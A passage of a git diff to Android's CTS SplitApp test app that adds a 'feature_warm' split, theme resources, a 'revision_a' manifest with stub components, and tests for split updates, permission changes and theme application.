diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureLogic.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureLogic.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureLogic.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureLogic.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureProvider.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureProvider.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureProvider.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureR.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureR.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureR.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureR.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureReceiver.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureReceiver.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureReceiver.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureReceiver.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureService.java
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/src/com/android/cts/splitapp/FeatureService.java
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/FeatureService.java
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java
new file mode 100644
index 0000000..3cd3110
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/WarmThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+public class WarmThemeActivity extends ThemeActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml
new file mode 100644
index 0000000..e94b522
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/drawable/base_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+ android:color="?attr/customColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml
new file mode 100644
index 0000000..cb95205
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/layout/base_linearlayout.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ https://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/content"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:background="?attr/customColor">
+
+ <TextView android:id="@+id/text"
+ android:layout_height="wrap_content"
+ android:layout_width="wrap_content"
+ android:text="@string/my_string1"
+ android:background="?android:attr/colorBackground"/>
+
+</LinearLayout>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml
new file mode 100644
index 0000000..e1961a6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <!-- light cool colors for Theme_Base -->
+ <color name="custom_color">@color/blue_light</color>
+ <color name="navigation_bar_color">@color/teal_light</color>
+ <color name="status_bar_color">@color/aqua_light</color>
+
+ <color name="blue_light">#ffadd8e6</color>
+ <color name="teal_light">#ffe0f0f0</color>
+ <color name="aqua_light">#ffe0ffff</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml
new file mode 100644
index 0000000..ecde812
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <attr name="customColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml
new file mode 100644
index 0000000..5cd838a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <!-- cool colors for Theme_Base -->
+ <color name="custom_color">@color/blue</color>
+ <color name="navigation_bar_color">@color/teal</color>
+ <color name="status_bar_color">@color/aqua</color>
+
+ <color name="blue">#ff0000ff</color>
+ <color name="teal">#ff008080</color>
+ <color name="aqua">#ff00ffff</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml
new file mode 100644
index 0000000..f509892
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/res/values/styles.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+ <style name="Theme_Base" parent="@android:style/Theme.Material">
+ <item name="customColor">@color/custom_color</item>
+ <item name="android:windowBackground">@drawable/base_color_drawable</item>
+ <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+ <item name="android:statusBarColor">@color/status_bar_color</item>
+ </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml
new file mode 100644
index 0000000..41c164a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="com.android.cts.splitapp"
+ android:targetSandboxVersion="2">
+
+ <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+ to pass the build error, since tests need to use minSdkVersion 4. -->
+ <uses-sdk android:minSdkVersion="4" tools:overrideLibrary=
+ "androidx.test.runner, androidx.test.rules, androidx.test.monitor"/>
+
+ <!-- Remove the CAMERA permission
+ <uses-permission android:name="android.permission.CAMERA"/> -->
+ <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+ <!-- Add the VIBRATE permission -->
+ <uses-permission android:name="android.permission.VIBRATE"/>
+
+ <application android:label="SplitApp"
+ android:multiArch="true">
+ <!-- Updates to .revision_a.MyActivity -->
+ <activity android:name=".revision_a.MyActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ <meta-data android:name="android.service.wallpaper"
+ android:resource="@xml/my_activity_meta"/>
+ </activity>
+ <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ <!-- Updates to .revision_a.MyReceiver -->
+ <receiver android:name=".revision_a.MyReceiver"
+ android:enabled="@bool/my_receiver_enabled"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.DATE_CHANGED"/>
+ </intent-filter>
+ </receiver>
+ <receiver android:name=".LockedBootReceiver"
+ android:exported="true"
+ android:directBootAware="true">
+ <intent-filter>
+ <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
+ </intent-filter>
+ </receiver>
+ <receiver android:name=".BootReceiver"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.BOOT_COMPLETED"/>
+ </intent-filter>
+ </receiver>
+
+ <!-- Updates to .revision_a.MyProvider -->
+ <provider android:name=".revision_a.MyProvider"
+ android:authorities="com.android.cts.splitapp"
+ android:exported="true"
+ android:directBootAware="true">
+ </provider>
+
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.splitapp"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt
new file mode 100644
index 0000000..5303667
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt
@@ -0,0 +1 @@
+DIRFILEA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt
new file mode 100644
index 0000000..79d2b95
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt
@@ -0,0 +1 @@
+FILEA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml
new file mode 100644
index 0000000..feeafea
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <bool name="my_receiver_enabled">true</bool>
+
+ <string name="my_string1">blue-revision</string>
+ <string name="my_string2">purple-revision</string>
+ <string name="my_new_string">new string</string>
+
+ <color name="my_color">#00FFFF</color>
+ <integer name="my_integer">456</integer>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java
new file mode 100644
index 0000000..c2036db
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.Activity;
+
+public class MyActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java
new file mode 100644
index 0000000..ea22de6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class MyProvider extends ContentProvider {
+ public static boolean sCreated = false;
+
+ @Override
+ public boolean onCreate() {
+ sCreated = true;
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java
new file mode 100644
index 0000000..2a7f180
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import com.android.cts.splitapp.BaseBootReceiver;
+
+public class MyReceiver extends BaseBootReceiver {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index 1820de9..286a26f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -16,6 +16,8 @@
package com.android.cts.splitapp;
+import static com.google.common.truth.Truth.assertThat;
+
import static junit.framework.Assert.assertEquals;
import static junit.framework.Assert.assertFalse;
import static junit.framework.Assert.assertNull;
@@ -25,7 +27,9 @@
import static org.xmlpull.v1.XmlPullParser.END_DOCUMENT;
import static org.xmlpull.v1.XmlPullParser.START_TAG;
+import android.app.Activity;
import android.content.BroadcastReceiver;
+import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
@@ -51,8 +55,12 @@
import android.util.Log;
import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import com.android.cts.splitapp.TestThemeHelper.ThemeColors;
+
+import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParser;
@@ -70,6 +78,7 @@
import java.lang.reflect.Method;
import java.util.List;
import java.util.Locale;
+import java.util.stream.Collectors;
@RunWith(AndroidJUnit4.class)
public class SplitAppTest {
@@ -81,6 +90,15 @@
public static boolean sFeatureTouched = false;
public static String sFeatureValue = null;
+ private static final String BASE_THEME_ACTIVITY = ".ThemeActivity";
+ private static final String WARM_THEME_ACTIVITY = ".WarmThemeActivity";
+ private static final String ROSE_THEME_ACTIVITY = ".RoseThemeActivity";
+
+ @Rule
+ public ActivityTestRule<Activity> mActivityRule =
+ new ActivityTestRule<>(Activity.class, true /*initialTouchMode*/,
+ false /*launchActivity*/);
+
@Test
public void testNothing() throws Exception {
}
@@ -238,7 +256,7 @@
}
@Test
- public void testFeatureBase() throws Exception {
+ public void testFeatureWarmBase() throws Exception {
final Resources r = getContext().getResources();
final PackageManager pm = getContext().getPackageManager();
@@ -255,9 +273,9 @@
// And that we can access resources from feature
assertEquals("red", r.getString(r.getIdentifier(
- "com.android.cts.splitapp.feature:feature_string", "string", PKG)));
+ "com.android.cts.splitapp.feature_warm:feature_string", "string", PKG)));
assertEquals(123, r.getInteger(r.getIdentifier(
- "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
+ "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -392,7 +410,7 @@
}
@Test
- public void testFeatureApi() throws Exception {
+ public void testFeatureWarmApi() throws Exception {
final Resources r = getContext().getResources();
final PackageManager pm = getContext().getPackageManager();
@@ -401,7 +419,7 @@
// And that we can access resources from feature
assertEquals(321, r.getInteger(r.getIdentifier(
- "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
+ "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -418,6 +436,114 @@
assertEquals(0, result.size());
}
+ @Test
+ public void testInheritUpdatedBase_withRevisionA() throws Exception {
+ final Resources r = getContext().getResources();
+ final PackageManager pm = getContext().getPackageManager();
+
+ // Resources should have been updated
+ assertEquals(true, r.getBoolean(R.bool.my_receiver_enabled));
+
+ assertEquals("blue-revision", r.getString(R.string.my_string1));
+ assertEquals("purple-revision", r.getString(R.string.my_string2));
+
+ assertEquals(0xff00ffff, r.getColor(R.color.my_color));
+ assertEquals(456, r.getInteger(R.integer.my_integer));
+
+ // Also, new resources could be found
+ assertEquals("new string", r.getString(r.getIdentifier(
+ "my_new_string", "string", PKG)));
+
+ assertAssetContents(r, "fileA.txt", "FILEA");
+ assertAssetContents(r, "dir/dirfileA.txt", "DIRFILEA");
+
+ // Activity of ACTION_MAIN should have been updated to .revision_a.MyActivity
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.addCategory(Intent.CATEGORY_LAUNCHER);
+ intent.setPackage(PKG);
+ final List<String> activityNames = pm.queryIntentActivities(intent, 0).stream()
+ .map(info -> info.activityInfo.name).collect(Collectors.toList());
+ assertThat(activityNames).contains("com.android.cts.splitapp.revision_a.MyActivity");
+
+ // Receiver of DATE_CHANGED should have been updated to .revision_a.MyReceiver
+ intent = new Intent(Intent.ACTION_DATE_CHANGED);
+ intent.setPackage(PKG);
+ final List<String> receiverNames = pm.queryBroadcastReceivers(intent, 0).stream()
+ .map(info -> info.activityInfo.name).collect(Collectors.toList());
+ assertThat(receiverNames).contains("com.android.cts.splitapp.revision_a.MyReceiver");
+
+ // Provider should have been updated to .revision_a.MyProvider
+ final ProviderInfo info = pm.resolveContentProvider("com.android.cts.splitapp", 0);
+ assertEquals("com.android.cts.splitapp.revision_a.MyProvider", info.name);
+
+ // And assert that we spun up the provider in this process
+ final Class<?> provider = Class.forName("com.android.cts.splitapp.revision_a.MyProvider");
+ final Field field = provider.getDeclaredField("sCreated");
+ assertTrue("Expected provider to have been created", (boolean) field.get(null));
+
+ // Camera permission has been removed
+ try {
+ getContext().enforceCallingOrSelfPermission(android.Manifest.permission.CAMERA, null);
+ fail("Camera permission should not be granted");
+ } catch (SecurityException expected) {
+ }
+
+ // New Vibrate permision should be granted
+ getContext().enforceCallingOrSelfPermission(android.Manifest.permission.VIBRATE, null);
+ }
+
+ @Test
+ public void testInheritUpdatedSplit_withRevisionA() throws Exception {
+ final Resources r = getContext().getResources();
+ final PackageManager pm = getContext().getPackageManager();
+
+ // Resources should have been updated
+ assertEquals("red-revision", r.getString(r.getIdentifier(
+ "com.android.cts.splitapp.feature_warm:feature_string", "string", PKG)));
+ assertEquals(456, r.getInteger(r.getIdentifier(
+ "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
+
+ // Also, new resources could be found
+ assertEquals("feature new string", r.getString(r.getIdentifier(
+ "com.android.cts.splitapp.feature_warm:feature_new_string", "string", PKG)));
+
+ assertAssetContents(r, "fileFA.txt", "FILE_FA");
+ assertAssetContents(r, "dir/dirfileFA.txt", "DIRFILE_FA");
+
+ // Activity of ACTION_MAIN should have been updated to .revision_a.FeatureActivity
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.addCategory(Intent.CATEGORY_LAUNCHER);
+ intent.setPackage(PKG);
+ final List<String> activityNames = pm.queryIntentActivities(intent, 0).stream()
+ .map(info -> info.activityInfo.name).collect(Collectors.toList());
+ assertThat(activityNames).contains("com.android.cts.splitapp.revision_a.FeatureActivity");
+
+ // Receiver of DATE_CHANGED could not be found
+ intent = new Intent(Intent.ACTION_DATE_CHANGED);
+ intent.setPackage(PKG);
+ final List<String> receiverNames = pm.queryBroadcastReceivers(intent, 0).stream()
+ .map(info -> info.activityInfo.name).collect(Collectors.toList());
+ assertThat(receiverNames).doesNotContain("com.android.cts.splitapp.FeatureReceiver");
+
+ // Service of splitapp should have been updated to .revision_a.FeatureService
+ intent = new Intent("com.android.cts.splitapp.service");
+ intent.setPackage(PKG);
+ final List<String> serviceNames = pm.queryIntentServices(intent, 0).stream()
+ .map(info -> info.serviceInfo.name).collect(Collectors.toList());
+ assertThat(serviceNames).contains("com.android.cts.splitapp.revision_a.FeatureService");
+
+ // Provider should have been updated to .revision_a.FeatureProvider
+ final ProviderInfo info = pm.resolveContentProvider(
+ "com.android.cts.splitapp.provider", 0);
+ assertEquals("com.android.cts.splitapp.revision_a.FeatureProvider", info.name);
+
+ // And assert that we spun up the provider in this process
+ final Class<?> provider = Class.forName(
+ "com.android.cts.splitapp.revision_a.FeatureProvider");
+ final Field field = provider.getDeclaredField("sCreated");
+ assertTrue("Expected provider to have been created", (boolean) field.get(null));
+ }
+
/**
* Write app data in a number of locations that expect to remain intact over
* long periods of time, such as across app moves.
@@ -593,6 +719,99 @@
assertEquals(12, info.splitRevisionCodes[0]);
}
+ @Test
+ public void launchBaseActivity_withThemeBase_baseApplied() {
+ assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY, R.style.Theme_Base,
+ ThemeColors.BASE);
+ }
+
+ @Test
+ public void launchBaseActivity_withThemeBaseLt_baseLtApplied() {
+ assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY, R.style.Theme_Base,
+ ThemeColors.BASE_LT);
+ }
+
+ @Test
+ public void launchBaseActivity_withThemeWarm_warmApplied() {
+ assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+ }
+
+ @Test
+ public void launchBaseActivity_withThemeWarmLt_warmLtApplied() {
+ assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+ }
+
+ @Test
+ public void launchWarmActivity_withThemeBase_baseApplied() {
+ assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY, R.style.Theme_Base,
+ ThemeColors.BASE);
+ }
+
+ @Test
+ public void launchWarmActivity_withThemeBaseLt_baseLtApplied() {
+ assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY, R.style.Theme_Base,
+ ThemeColors.BASE_LT);
+ }
+
+ @Test
+ public void launchWarmActivity_withThemeWarm_warmApplied() {
+ assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+ }
+
+ @Test
+ public void launchWarmActivity_withThemeWarmLt_warmLtApplied() {
+ assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+ }
+
+ @Test
+ public void launchWarmActivity_withThemeRose_roseApplied() {
+ assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE);
+ }
+
+ @Test
